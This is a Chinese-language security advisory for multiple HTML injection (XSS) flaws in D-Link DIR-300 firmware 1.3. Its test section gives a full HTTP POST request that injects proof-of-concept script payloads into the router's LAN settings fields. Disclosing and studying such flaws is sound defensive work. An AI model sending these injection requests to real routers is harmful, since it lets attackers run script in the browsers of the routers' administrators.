发布日期：2013-02-06
更新日期：2013-02-27

受影响系统：

D-Link DIR-300

描述：

---

BUGTRAQ  ID: 57763

D-Link DIR-300是无线G宽带路由器。

运行固件1.3版本的D-Link DIR-300在实现上存在多个HTML注入漏洞，成功利用后可允许在受影响浏览器中运行攻击者提供的HTML和脚本代码。

<*来源：Karn Ganeshen
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

*# HTTP Request:*

Host=www.example.com
User-Agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0)
Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language=en-us,en;q=0.7,zh-cn;q=0.3

Accept-Encoding=gzip, deflate
DNT=1
Content-Type=application/x-www-form-urlencoded; charset=UTF-8
Referer=http://www.example.com/bsc_lan.php

Content-Length=949
Connection=keep-alive

Pragma=no-cache
Cache-Control=no-cache
POSTDATA =TEMP_NODES=/runtime/post/session_1&data=4&start=1&d_1_0=0&d_1_1=box1<script>alert("XSS_from_computername")</script>&d_1_2=www.example.com<script>alert("XSS_from_IP")</script>&d_1_3=38%3A16%3AD1%3A17%3A3A%3A00<script>alert("XSS_from_mac")</script>&d_2_0=&d_2_1=&d_2_2=&d_2_3=&d_3_0=&d_3_1=&d_3_2=&d_3_3=&d_4_0=&d_4_1=&d_4_2=&d_4_3=&d_5_0=&d_5_1=&d_5_2=&d_5_3=&d_6_0=&d_6_1=&d_6_2=&d_6_3=&d_7_0=&d_7_1=&d_7_2=&d_7_3=&d_8_0=&d_8_1=&d_8_2=&d_8_3=&d_9_0=&d_9_1=&d_9_2=&d_9_3=&d_10_0=&d_10_1=&d_10_2=&d_10_3=&d_11_0=&d_11_1=&d_11_2=&d_11_3=&d_12_0=&d_12_1=&d_12_2=&d_12_3=&d_13_0=&d_13_1=&d_13_2=&d_13_3=&d_14_0=&d_14_1=&d_14_2=&d_14_3=&d_15_0=&d_15_1=&d_15_2=&d_15_3=&d_16_0=&d_16_1=&d_16_2=&d_16_3=&d_17_0=&d_17_1=&d_17_2=&d_17_3=&d_18_0=&d_18_1=&d_18_2=&d_18_3=&d_19_0=&d_19_1=&d_19_2=&d_19_3=&d_20_0=&d_20_1=&d_20_2=&d_20_3=&d_21_0=&d_21_1=&d_21_2=&d_21_3=&d_22_0=&d_22_1=&d_22_2=&d_22_3=&d_23_0=&d_23_1=&d_23_2=&d_23_3=&d_24_0=&d_24_1=&d_24_2=&d_24_3=&d_25_0=&d_25_1=&d_25_2=&d_25_3=&end=25

建议：

---

厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/

浏览次数：3894
严重程度：0（网友投票）